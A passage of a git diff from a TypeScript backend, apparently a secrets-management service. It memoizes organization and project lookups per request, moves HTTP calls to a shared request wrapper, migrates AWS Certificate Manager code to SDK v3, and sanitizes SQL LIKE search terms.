@@ -125,7 +130,10 @@ export const newOrgMembershipGroupFactory = ({
       dto.permission.orgId
     );
 
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+      requestMemoKeys.orgFindById(dto.permission.orgId),
+      () => orgDAL.findById(dto.permission.orgId)
+    );
     for (const permissionRole of permissionRoles) {
       if (permissionRole?.role?.name !== OrgMembershipRole.NoAccess) {
         const permissionBoundary = validatePrivilegeChangeOperation(
diff --git a/backend/src/services/membership-group/project/project-membership-group-factory.ts b/backend/src/services/membership-group/project/project-membership-group-factory.ts
index 5561ebec228..94527e2193f 100644
--- a/backend/src/services/membership-group/project/project-membership-group-factory.ts
+++ b/backend/src/services/membership-group/project/project-membership-group-factory.ts
@@ -13,6 +13,8 @@ import {
   ProjectPermissionSub
 } from "@app/ee/services/permission/project-permission";
 import { BadRequestError, InternalServerError, PermissionBoundaryError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TOrgDALFactory } from "@app/services/org/org-dal";
 
 import { TMembershipGroupDALFactory } from "../membership-group-dal";
@@ -69,7 +71,10 @@ export const newProjectMembershipGroupFactory = ({
     const groupDetails = await groupDAL.findById(dto.data.groupId);
     if (!groupDetails) throw new BadRequestError({ message: "Group details not found" });
 
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+      requestMemoKeys.orgFindById(dto.permission.orgId),
+      () => orgDAL.findById(dto.permission.orgId)
+    );
     const permissionRoles = await permissionService.getProjectPermissionByRoles(
       dto.data.roles.map((el) => el.role),
       scope.value
@@ -122,7 +127,10 @@ export const newProjectMembershipGroupFactory = ({
     const groupDetails = await groupDAL.findById(dto.selector.groupId);
     if (!groupDetails) throw new BadRequestError({ message: "Group details not found" });
 
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+      requestMemoKeys.orgFindById(dto.permission.orgId),
+      () => orgDAL.findById(dto.permission.orgId)
+    );
     const permissionRoles = await permissionService.getProjectPermissionByRoles(
       dto.data.roles.map((el) => el.role),
       scope.value
diff --git a/backend/src/services/membership-identity/org/org-membership-identity-factory.ts b/backend/src/services/membership-identity/org/org-membership-identity-factory.ts
index 8a95a55f4ea..d7a46516501 100644
--- a/backend/src/services/membership-identity/org/org-membership-identity-factory.ts
+++ b/backend/src/services/membership-identity/org/org-membership-identity-factory.ts
@@ -8,6 +8,8 @@ import {
 } from "@app/ee/services/permission/permission-fns";
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { BadRequestError, InternalServerError, PermissionBoundaryError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TIdentityDALFactory } from "@app/services/identity/identity-dal";
 import { TOrgDALFactory } from "@app/services/org/org-dal";
 import { isCustomOrgRole } from "@app/services/org/org-role-fns";
@@ -69,7 +71,10 @@ export const newOrgMembershipIdentityFactory = ({
       dto.permission.orgId
     );
 
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+      requestMemoKeys.orgFindById(dto.permission.orgId),
+      () => orgDAL.findById(dto.permission.orgId)
+    );
     for (const permissionRole of permissionRoles) {
       if (permissionRole?.role?.name !== OrgMembershipRole.NoAccess) {
         const permissionBoundary = validatePrivilegeChangeOperation(
@@ -111,7 +116,10 @@ export const newOrgMembershipIdentityFactory = ({
       dto.permission.orgId
     );
 
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+      requestMemoKeys.orgFindById(dto.permission.orgId),
+      () => orgDAL.findById(dto.permission.orgId)
+    );
     for (const permissionRole of permissionRoles) {
       if (permissionRole?.role?.name !== OrgMembershipRole.NoAccess) {
         const permissionBoundary = validatePrivilegeChangeOperation(
diff --git a/backend/src/services/membership-identity/project/project-membership-identity-factory.ts b/backend/src/services/membership-identity/project/project-membership-identity-factory.ts
index 17c7e0f16ac..d67e60c67d0 100644
--- a/backend/src/services/membership-identity/project/project-membership-identity-factory.ts
+++ b/backend/src/services/membership-identity/project/project-membership-identity-factory.ts
@@ -12,6 +12,8 @@ import {
   ProjectPermissionSub
 } from "@app/ee/services/permission/project-permission";
 import { BadRequestError, InternalServerError, PermissionBoundaryError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TIdentityDALFactory } from "@app/services/identity/identity-dal";
 import { TOrgDALFactory } from "@app/services/org/org-dal";
 
@@ -78,7 +80,10 @@ export const newProjectMembershipIdentityFactory = ({
       throw new BadRequestError({ message: "Failed to create project membership for a project scoped identity" });
     }
 
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+      requestMemoKeys.orgFindById(dto.permission.orgId),
+      () => orgDAL.findById(dto.permission.orgId)
+    );
     const permissionRoles = await permissionService.getProjectPermissionByRoles(
       dto.data.roles.map((el) => el.role),
       scope.value
@@ -133,7 +138,10 @@ export const newProjectMembershipIdentityFactory = ({
       throw new BadRequestError({ message: "Failed to update project membership for a project scoped identity" });
     }
 
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+      requestMemoKeys.orgFindById(dto.permission.orgId),
+      () => orgDAL.findById(dto.permission.orgId)
+    );
     const permissionRoles = await permissionService.getProjectPermissionByRoles(
       dto.data.roles.filter((el) => el.role !== ProjectMembershipRole.NoAccess).map((el) => el.role),
       scope.value
diff --git a/backend/src/services/membership-user/membership-user-service.ts b/backend/src/services/membership-user/membership-user-service.ts
index e0a3503f6ff..d3f02d0ccc9 100644
--- a/backend/src/services/membership-user/membership-user-service.ts
+++ b/backend/src/services/membership-user/membership-user-service.ts
@@ -12,6 +12,8 @@ import { TPermissionServiceFactory } from "@app/ee/services/permission/permissio
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
 import { groupBy } from "@app/lib/fn";
 import { ms } from "@app/lib/ms";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { SearchResourceOperators } from "@app/lib/search-resource/search";
 import { isDisposableEmail, sanitizeEmail, validateEmail } from "@app/lib/validator";
 
@@ -163,7 +165,9 @@ export const membershipUserServiceFactory = ({
     const { scopeData, data } = dto;
     const factory = scopeFactory[scopeData.scope];
 
-    const orgDetails = await orgDAL.findById(dto.permission.orgId);
+    const orgDetails = await requestMemoize(requestMemoKeys.orgFindById(dto.permission.orgId), () =>
+      orgDAL.findById(dto.permission.orgId)
+    );
 
     // If roles array is empty and scope is Organization, use org's default role
     let rolesToUse = data.roles;
@@ -532,7 +536,9 @@ export const membershipUserServiceFactory = ({
 
     await factory.onListMembershipUserGuard(dto);
 
-    const organizationDetails = await orgDAL.findById(dto.scopeData.orgId);
+    const organizationDetails = await requestMemoize(requestMemoKeys.orgFindById(dto.scopeData.orgId), () =>
+      orgDAL.findById(dto.scopeData.orgId)
+    );
     if (!organizationDetails.rootOrgId) return { users: [] };
 
     const users = await membershipUserDAL.listAvailableUsers(organizationDetails.id, organizationDetails.rootOrgId);
diff --git a/backend/src/services/membership-user/org/org-membership-user-factory.ts b/backend/src/services/membership-user/org/org-membership-user-factory.ts
index 8e9b2aa2f2d..a866a218cfa 100644
--- a/backend/src/services/membership-user/org/org-membership-user-factory.ts
+++ b/backend/src/services/membership-user/org/org-membership-user-factory.ts
@@ -7,6 +7,8 @@ import { OrgPermissionActions, OrgPermissionSubjects } from "@app/ee/services/pe
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { getConfig } from "@app/lib/config/env";
 import { BadRequestError, ForbiddenRequestError, InternalServerError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { ActorType } from "@app/services/auth/auth-type";
 import { TAuthTokenServiceFactory } from "@app/services/auth-token/auth-token-service";
 import { TokenType } from "@app/services/auth-token/auth-token-types";
@@ -79,7 +81,9 @@ export const newOrgMembershipUserFactory = ({
       });
     }
 
-    const org = await orgDAL.findById(dto.permission.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(dto.permission.orgId), () =>
+      orgDAL.findById(dto.permission.orgId)
+    );
     if (org?.authEnforced) {
       throw new ForbiddenRequestError({
         name: "InviteUser",
@@ -122,7 +126,9 @@ export const newOrgMembershipUserFactory = ({
           };
 
     const signUpTokens: { email: string; link: string }[] = [];
-    const orgDetails = await orgDAL.findById(dto.permission.orgId);
+    const orgDetails = await requestMemoize(requestMemoKeys.orgFindById(dto.permission.orgId), () =>
+      orgDAL.findById(dto.permission.orgId)
+    );
     const serverCfg = await getServerCfg();
     const isEmailLoginEnabled =
       !serverCfg.enabledLoginMethods || serverCfg.enabledLoginMethods.includes(LoginMethod.EMAIL);
diff --git a/backend/src/services/membership-user/project/project-membership-user-factory.ts b/backend/src/services/membership-user/project/project-membership-user-factory.ts
index 6c70d86f6ee..8d941cc3f45 100644
--- a/backend/src/services/membership-user/project/project-membership-user-factory.ts
+++ b/backend/src/services/membership-user/project/project-membership-user-factory.ts
@@ -13,6 +13,8 @@ import {
 } from "@app/ee/services/permission/project-permission";
 import { getConfig } from "@app/lib/config/env";
 import { BadRequestError, InternalServerError, NotFoundError, PermissionBoundaryError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TOrgDALFactory } from "@app/services/org/org-dal";
 import { TProjectDALFactory } from "@app/services/project/project-dal";
 import { SmtpTemplates, TSmtpService } from "@app/services/smtp/smtp-service";
@@ -84,7 +86,10 @@ export const newProjectMembershipUserFactory = ({
       throw new BadRequestError({ message: `Users ${missingUsers.join(",")} not part of organization` });
     }
 
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+      requestMemoKeys.orgFindById(dto.permission.orgId),
+      () => orgDAL.findById(dto.permission.orgId)
+    );
     const permissionRoles = await permissionService.getProjectPermissionByRoles(
       dto.data.roles.filter((el) => el.role !== ProjectMembershipRole.NoAccess).map((el) => el.role),
       scope.value
@@ -136,7 +141,9 @@ export const newProjectMembershipUserFactory = ({
 
     const appCfg = getConfig();
     const scope = getScopeField(dto.scopeData);
-    const project = await projectDAL.findById(scope.value);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(scope.value), () =>
+      projectDAL.findById(scope.value)
+    );
 
     const orgMembershipAcceptedUserIds = orgMembershipAccepted.map((el) => el.actorUserId as string);
     const emails = newMembers
@@ -173,7 +180,10 @@ export const newProjectMembershipUserFactory = ({
       throw new NotFoundError({ message: `User not found for project membership update` });
     }
 
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+      requestMemoKeys.orgFindById(dto.permission.orgId),
+      () => orgDAL.findById(dto.permission.orgId)
+    );
     const permissionRoles = await permissionService.getProjectPermissionByRoles(
       dto.data.roles.filter((el) => el.role !== ProjectMembershipRole.NoAccess).map((el) => el.role),
       scope.value
diff --git a/backend/src/services/microsoft-teams/microsoft-teams-fns.ts b/backend/src/services/microsoft-teams/microsoft-teams-fns.ts
index b9e92c72b3a..21a91c9b36e 100644
--- a/backend/src/services/microsoft-teams/microsoft-teams-fns.ts
+++ b/backend/src/services/microsoft-teams/microsoft-teams-fns.ts
@@ -1,10 +1,11 @@
 /* eslint-disable class-methods-use-this */
-import axios from "axios";
+import { isAxiosError } from "axios";
 import { TeamsActivityHandler, TurnContext } from "botbuilder";
 import { Knex } from "knex";
 import { z } from "zod";
 
 import { getConfig } from "@app/lib/config/env";
+import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto";
 import { BadRequestError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
@@ -26,14 +27,14 @@ export const verifyTenantFromCode = async (
   clientSecret: string
 ) => {
   const getAccessToken = async (params: URLSearchParams) => {
-    const response = await axios
+    const response = await request
       .post<{ access_token: string }>(`https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`, params, {
         headers: {
           "Content-Type": "application/x-www-form-urlencoded"
         }
       })
       .catch((err) => {
-        if (axios.isAxiosError(err)) {
+        if (isAxiosError(err)) {
           if ((err.response?.data as { error_description?: string })?.error_description?.includes(ConsentError)) {
             throw new BadRequestError({
               message: "Unable to verify tenant, please ensure that you have granted admin consent."
@@ -177,7 +178,7 @@ export const getMicrosoftTeamsAccessToken = async (
       }
     }
 
-    const tokenResponse = await axios.post<{ access_token: string; expires_in: number }>(
+    const tokenResponse = await request.post<{ access_token: string; expires_in: number }>(
       details.uri,
       new URLSearchParams({
         client_id: clientId,
@@ -235,7 +236,7 @@ export const getMicrosoftTeamsAccessToken = async (
 
     return tokenResponse.data.access_token;
   } catch (error) {
-    if (axios.isAxiosError(error)) {
+    if (isAxiosError(error)) {
       logger.error(
         error.response?.data,
         `getMicrosoftTeamsAccessToken: Error fetching Microsoft Teams access token [status-code=${error.response?.status}]`
@@ -306,7 +307,7 @@ export const isBotInstalledInTenant = async (
       } as const;
     }
 
-    const appsResponse = await axios
+    const appsResponse = await request
       .get<{ value: { id: string; displayName: string; distributionMethod: string; externalId: string }[] }>(
         "https://graph.microsoft.com/v1.0/appCatalogs/teamsApps",
         {
@@ -622,7 +623,7 @@ export class TeamsBot extends TeamsActivityHandler {
         }
       };
 
-      await axios.post(
+      await request.post(
         `https://smba.trafficmanager.net/amer/v3/conversations/${channelId}/activities`,
         adaptiveCardActivity,
         {
@@ -633,7 +634,7 @@ export class TeamsBot extends TeamsActivityHandler {
         }
       );
     } catch (error) {
-      if (axios.isAxiosError(error)) {
+      if (isAxiosError(error)) {
         logger.error(
           error.response?.data,
           `sendMessageToChannel: Axios Error, Microsoft Teams Workflow Integration: Failed to send message to channel [channelId=${channelId}] [teamId=${teamId}] [tenantId=${tenantId}]`
@@ -656,7 +657,7 @@ export class TeamsBot extends TeamsActivityHandler {
       while (teamsNextLink?.length) {
         try {
           // eslint-disable-next-line no-await-in-loop
-          const response = await axios.get<{
+          const response = await request.get<{
             value: { displayName: string; id: string }[];
             "@odata.nextLink"?: string;
           }>(teamsNextLink, {
@@ -678,7 +679,7 @@ export class TeamsBot extends TeamsActivityHandler {
       for await (const team of allTeams) {
         try {
           // Get installed apps for this team
-          const installedAppsResponse = await axios.get<{ value: { teamsAppDefinition: { teamsAppId: string } }[] }>(
+          const installedAppsResponse = await request.get<{ value: { teamsAppDefinition: { teamsAppId: string } }[] }>(
             `https://graph.microsoft.com/v1.0/teams/${team.id}/installedApps?$expand=teamsAppDefinition`,
             {
               headers: {
@@ -702,7 +703,7 @@ export class TeamsBot extends TeamsActivityHandler {
 
         while (channelNextLink?.length) {
           // eslint-disable-next-line no-await-in-loop
-          const resp = await axios
+          const resp = await request
             .get<{
               value: { displayName: string; id: string }[];
               "@odata.nextLink"?: string;
@@ -712,7 +713,7 @@ export class TeamsBot extends TeamsActivityHandler {
               }
             })
             .catch((error) => {
-              if (axios.isAxiosError(error)) {
+              if (isAxiosError(error)) {
                 logger.error(
                   error.response?.data,
                   "getTeamsAndChannels: Axios error, Microsoft Teams Workflow Integration: Failed to fetch channels"
diff --git a/backend/src/services/offline-usage-report/offline-usage-report-dal.ts b/backend/src/services/offline-usage-report/offline-usage-report-dal.ts
index 109d90da838..5a86d3694a8 100644
--- a/backend/src/services/offline-usage-report/offline-usage-report-dal.ts
+++ b/backend/src/services/offline-usage-report/offline-usage-report-dal.ts
@@ -183,16 +183,14 @@ export const offlineUsageReportDALFactory = (db: TDbClient) => {
 
   const getSecretRotationMetrics = async () => {
     // Check both v1 and v2 secret rotation tables
-    const [v1RotationsResult, v2RotationsResult] = await Promise.all([
-      db.from(TableName.SecretRotation).count("* as count").first() as Promise<{ count: string } | undefined>,
-      db.from(TableName.SecretRotationV2).count("* as count").first() as Promise<{ count: string } | undefined>
-    ]);
+    const v2RotationsResult = (await db.from(TableName.SecretRotationV2).count("* as count").first()) as
+      | { count: string }
+      | undefined;
 
-    const totalV1Rotations = parseInt(v1RotationsResult?.count || "0", 10);
-    const totalV2Rotations = parseInt(v2RotationsResult?.count || "0", 10);
+    const totalSecretRotations = parseInt(v2RotationsResult?.count || "0", 10);
 
     return {
-      totalSecretRotations: totalV1Rotations + totalV2Rotations
+      totalSecretRotations
     };
   };
 
diff --git a/backend/src/services/org-admin/org-admin-service.ts b/backend/src/services/org-admin/org-admin-service.ts
index a1a3561f915..d1d4cf285f0 100644
--- a/backend/src/services/org-admin/org-admin-service.ts
+++ b/backend/src/services/org-admin/org-admin-service.ts
@@ -60,7 +60,7 @@ export const orgAdminServiceFactory = ({
       {
         orgId: actorOrgId,
         $search: {
-          name: search ? `%${search}%` : undefined
+          name: search || undefined
         }
       },
       { offset, limit, sort: [["name", "asc"]], count: true }
diff --git a/backend/src/services/org/org-dal.ts b/backend/src/services/org/org-dal.ts
index 676d0a32c00..57f3ed15007 100644
--- a/backend/src/services/org/org-dal.ts
+++ b/backend/src/services/org/org-dal.ts
@@ -15,7 +15,7 @@ import {
   TUserEncryptionKeys
 } from "@app/db/schemas";
 import { DatabaseError } from "@app/lib/errors";
-import { groupBy, unique } from "@app/lib/fn";
+import { groupBy, sanitizeSqlLikeString, unique } from "@app/lib/fn";
 import {
   buildFindFilter,
   ormify,
@@ -53,7 +53,7 @@ export const orgDALFactory = (db: TDbClient) => {
 
       if (searchTerm) {
         void orgSubquery.where((qb) => {
-          void qb.whereILike(`${TableName.Organization}.name`, `%${searchTerm}%`);
+          void qb.whereILike(`${TableName.Organization}.name`, `%${sanitizeSqlLikeString(searchTerm)}%`);
         });
       }
 
@@ -219,7 +219,8 @@ export const orgDALFactory = (db: TDbClient) => {
       };
 
       const baseQuery = buildBaseQuery();
-      if (dto.search) void baseQuery.whereILike(`${TableName.Organization}.name`, `%${dto.search}%`);
+      if (dto.search)
+        void baseQuery.whereILike(`${TableName.Organization}.name`, `%${sanitizeSqlLikeString(dto.search)}%`);
 
       const [totalResult, orgs] = await Promise.all([
         baseQuery.clone().count({ count: "*" }).first(),
@@ -816,7 +817,13 @@ export const orgDALFactory = (db: TDbClient) => {
     tx?: Knex;
   }): Promise<TMemberships | null> => {
     const list = await findEffectiveOrgMemberships(dto);
-    return list[0] ?? null;
+    const directMembership = list.find((membership) =>
+      dto.actorType === ActorType.USER
+        ? membership.actorUserId === dto.actorId
+        : membership.actorIdentityId === dto.actorId
+    );
+
+    return directMembership ?? list[0] ?? null;
   };
 
   const findMembershipWithScimFilter = async (
diff --git a/backend/src/services/org/org-service.ts b/backend/src/services/org/org-service.ts
index c4cbde0a539..77bccafc0ca 100644
--- a/backend/src/services/org/org-service.ts
+++ b/backend/src/services/org/org-service.ts
@@ -33,6 +33,8 @@ import { delay as delayMs } from "@app/lib/delay";
 import { BadRequestError, ForbiddenRequestError, NotFoundError, UnauthorizedError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
 import { alphaNumericNanoId } from "@app/lib/nanoid";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { QueueName } from "@app/queue";
 import { getDefaultOrgMembershipRoleForUpdateOrg } from "@app/services/org/org-role-fns";
 import { TOrgMembershipDALFactory } from "@app/services/org-membership/org-membership-dal";
@@ -177,7 +179,7 @@ export const orgServiceFactory = ({
     const appCfg = getConfig();
     const hasSubOrg = rootOrgId !== actorOrgId;
 
-    const org = await orgDAL.findOrgById(rootOrgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(rootOrgId), () => orgDAL.findOrgById(rootOrgId));
     if (!org) throw new NotFoundError({ message: `Organization with ID '${rootOrgId}' not found` });
 
     let subOrg;
@@ -450,7 +452,9 @@ export const orgServiceFactory = ({
     }
 
     const plan = await licenseService.getPlan(orgId);
-    const currentOrg = await orgDAL.findOrgById(actorOrgId);
+    const currentOrg = await requestMemoize(requestMemoKeys.orgFindOrgById(actorOrgId), () =>
+      orgDAL.findOrgById(actorOrgId)
+    );
 
     if (secretShareBrandConfig !== undefined) {
       if (!plan.secretShareExternalBranding) {
@@ -889,7 +893,7 @@ export const orgServiceFactory = ({
 
     const invitingUser = await userDAL.findOne({ id: actorId });
 
-    const org = await orgDAL.findOrgById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
 
     const [inviteeOrgMembership] = await orgDAL.findMembership({
       [`${TableName.Membership}.scopeOrgId` as "scopeOrgId"]: orgId,
@@ -977,7 +981,7 @@ export const orgServiceFactory = ({
       });
     }
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
 
     await tokenService.validateTokenForUser({
       type: TokenType.TOKEN_EMAIL_ORG_INVITATION,
@@ -1236,7 +1240,9 @@ export const orgServiceFactory = ({
       invitedUsers.map(async (invitedUser) => {
         let org = orgCache[invitedUser.scopeOrgId];
         if (!org) {
-          org = await orgDAL.findById(invitedUser.scopeOrgId);
+          org = await requestMemoize(requestMemoKeys.orgFindById(invitedUser.scopeOrgId), () =>
+            orgDAL.findById(invitedUser.scopeOrgId)
+          );
           orgCache[invitedUser.scopeOrgId] = org;
         }
 
diff --git a/backend/src/services/pki-alert-v2/pki-alert-v2-service.ts b/backend/src/services/pki-alert-v2/pki-alert-v2-service.ts
index c40684c6952..2339ce7d8a8 100644
--- a/backend/src/services/pki-alert-v2/pki-alert-v2-service.ts
+++ b/backend/src/services/pki-alert-v2/pki-alert-v2-service.ts
@@ -5,6 +5,8 @@ import { TPermissionServiceFactory } from "@app/ee/services/permission/permissio
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/ee/services/permission/project-permission";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator/validate-url";
 import { TKmsServiceFactory } from "@app/services/kms/kms-service";
 import { KmsDataKey } from "@app/services/kms/kms-types";
@@ -729,7 +731,9 @@ export const pkiAlertV2ServiceFactory = ({
       // Send in-app notifications to project admins
       try {
         const projectMembers = await projectMembershipDAL.findAllProjectMembers(projectId);
-        const project = await projectDAL.findById(projectId);
+        const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+          projectDAL.findById(projectId)
+        );
 
         if (project) {
           const projectAdmins = projectMembers.filter((member) =>
diff --git a/backend/src/services/pki-sync/aws-certificate-manager/aws-certificate-manager-pki-sync-fns.ts b/backend/src/services/pki-sync/aws-certificate-manager/aws-certificate-manager-pki-sync-fns.ts
index 742456630cf..212f63e5311 100644
--- a/backend/src/services/pki-sync/aws-certificate-manager/aws-certificate-manager-pki-sync-fns.ts
+++ b/backend/src/services/pki-sync/aws-certificate-manager/aws-certificate-manager-pki-sync-fns.ts
@@ -1,5 +1,20 @@
 /* eslint-disable no-await-in-loop */
-import ACM from "aws-sdk/clients/acm.js";
+import {
+  ACMClient,
+  AddTagsToCertificateCommand,
+  type CertificateSummary,
+  DeleteCertificateCommand,
+  DescribeCertificateCommand,
+  GetCertificateCommand,
+  type GetCertificateCommandOutput,
+  ImportCertificateCommand,
+  type ImportCertificateCommandInput,
+  type KeyAlgorithm,
+  ListCertificatesCommand,
+  type ListCertificatesCommandInput,
+  ListTagsForCertificateCommand,
+  type Tag
+} from "@aws-sdk/client-acm";
 import RE2 from "re2";
 import { z } from "zod";
 
@@ -85,11 +100,11 @@ const validateCertificateContent = (cert: string, privateKey: string): void => {
   }
 };
 
-const isAwsIssuedCertificate = (certificate: ACM.CertificateSummary): boolean => {
+const isAwsIssuedCertificate = (certificate: CertificateSummary): boolean => {
   return certificate.Type === "AMAZON_ISSUED";
 };
 
-const shouldSkipCertificateExport = (certificate: ACM.CertificateSummary): boolean => {
+const shouldSkipCertificateExport = (certificate: CertificateSummary): boolean => {
   return isAwsIssuedCertificate(certificate);
 };
 
@@ -166,7 +181,7 @@ const getAwsAcmClient = async (
   region: AWSRegion,
   appConnectionDAL: Pick<TAppConnectionDALFactory, "findById" | "updateById">,
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">
-): Promise<ACM> => {
+): Promise<ACMClient> => {
   const appConnection = await appConnectionDAL.findById(connectionId);
 
   if (!appConnection) {
@@ -212,7 +227,7 @@ const getAwsAcmClient = async (
 
   const awsConfig = await getAwsConnectionConfig(awsConnectionConfig, region);
 
-  return new ACM(awsConfig);
+  return new ACMClient(awsConfig);
 };
 
 export const awsCertificateManagerPkiSyncFactory = ({
@@ -222,14 +237,14 @@ export const awsCertificateManagerPkiSyncFactory = ({
   certificateDAL
 }: TAwsCertificateManagerPkiSyncFactoryDeps) => {
   const deleteCertificateFromAcm = async (
-    acm: ACM,
+    acm: ACMClient,
     certificateArn: string,
     operation: string,
     syncId: string,
     throwOnError = false
   ): Promise<{ arn: string; success: boolean; error?: Error }> => {
     try {
-      await withRateLimitRetry(() => acm.deleteCertificate({ CertificateArn: certificateArn }).promise(), {
+      await withRateLimitRetry(() => acm.send(new DeleteCertificateCommand({ CertificateArn: certificateArn })), {
         operation,
         syncId
       });
@@ -256,31 +271,40 @@ export const awsCertificateManagerPkiSyncFactory = ({
     }
   };
   const $getAwsAcmCertificates = async (
-    acm: ACM,
+    acm: ACMClient,
     syncId = "unknown"
   ): Promise<{
     acmCertificates: Record<
       string,
-      { cert: string; privateKey: string; certificateChain?: string; arn?: string; Tags?: ACM.TagList }
+      { cert: string; privateKey: string; certificateChain?: string; arn?: string; Tags?: Tag[] }
     >;
   }> => {
     const paginateAwsAcmCertificates = async () => {
-      const certificates: ACM.CertificateSummary[] = [];
+      const certificates: CertificateSummary[] = [];
       let nextToken: string | undefined;
 
       do {
-        const listParams: ACM.ListCertificatesRequest = {
+        // By default, listCertificates only returns RSA_1024 and RSA_2048 certificates.
+        const keyTypes: KeyAlgorithm[] = [
+          "RSA_1024",
+          "RSA_2048",
+          "RSA_3072",
+          "RSA_4096",
+          "EC_prime256v1",
+          "EC_secp384r1",
+          "EC_secp521r1"
+        ];
+        const listParams: ListCertificatesCommandInput = {
           CertificateStatuses: ["ISSUED"],
           NextToken: nextToken,
           MaxItems: 100,
-          // By default, listCertificates only returns RSA_1024 and RSA_2048 certificates.
           // We must explicitly include all key types to get all certificates.
           Includes: {
-            keyTypes: ["RSA_1024", "RSA_2048", "RSA_3072", "RSA_4096", "EC_prime256v1", "EC_secp384r1", "EC_secp521r1"]
+            keyTypes
           }
         };
 
-        const response = await withRateLimitRetry(() => acm.listCertificates(listParams).promise(), {
+        const response = await withRateLimitRetry(() => acm.send(new ListCertificatesCommand(listParams)), {
           operation: "list-certificates",
           syncId
         });
@@ -304,14 +328,16 @@ export const awsCertificateManagerPkiSyncFactory = ({
         }
 
         const [certificateDetails, tagsResponse] = await Promise.all([
-          acm.describeCertificate({ CertificateArn: certSummary.CertificateArn }).promise(),
-          acm.listTagsForCertificate({ CertificateArn: certSummary.CertificateArn }).promise()
+          acm.send(new DescribeCertificateCommand({ CertificateArn: certSummary.CertificateArn })),
+          acm.send(new ListTagsForCertificateCommand({ CertificateArn: certSummary.CertificateArn }))
         ]);
 
-        let certificateContent: ACM.GetCertificateResponse | undefined;
+        let certificateContent: GetCertificateCommandOutput | undefined;
         if (!shouldSkipCertificateExport(certSummary)) {
           try {
-            certificateContent = await acm.getCertificate({ CertificateArn: certSummary.CertificateArn }).promise();
+            certificateContent = await acm.send(
+              new GetCertificateCommand({ CertificateArn: certSummary.CertificateArn })
+            );
           } catch (error) {
             // Certificate content cannot be imported
           }
@@ -351,7 +377,7 @@ export const awsCertificateManagerPkiSyncFactory = ({
 
     const res: Record<
       string,
-      { cert: string; privateKey: string; certificateChain?: string; arn?: string; Tags?: ACM.TagList }
+      { cert: string; privateKey: string; certificateChain?: string; arn?: string; Tags?: Tag[] }
     > = successfulCertificates.reduce(
       (obj, certificate) => ({
         ...obj,
@@ -363,10 +389,7 @@ export const awsCertificateManagerPkiSyncFactory = ({
           Tags: certificate.Tags
         }
       }),
-      {} as Record<
-        string,
-        { cert: string; privateKey: string; certificateChain?: string; arn?: string; Tags?: ACM.TagList }
-      >
+      {} as Record<string, { cert: string; privateKey: string; certificateChain?: string; arn?: string; Tags?: Tag[] }>
     );
 
     return {
@@ -391,7 +414,7 @@ export const awsCertificateManagerPkiSyncFactory = ({
     }: {
       acmCertificates: Record<
         string,
-        { cert: string; privateKey: string; certificateChain?: string; arn?: string; Tags?: ACM.TagList }
+        { cert: string; privateKey: string; certificateChain?: string; arn?: string; Tags?: Tag[] }
       >;
     } = await $getAwsAcmCertificates(acm, pkiSync.id);
 
@@ -568,9 +591,9 @@ export const awsCertificateManagerPkiSyncFactory = ({
       setCertificates,
       async ({ key, name, cert, privateKey, certificateChain, existingArn, certificateId }) => {
         try {
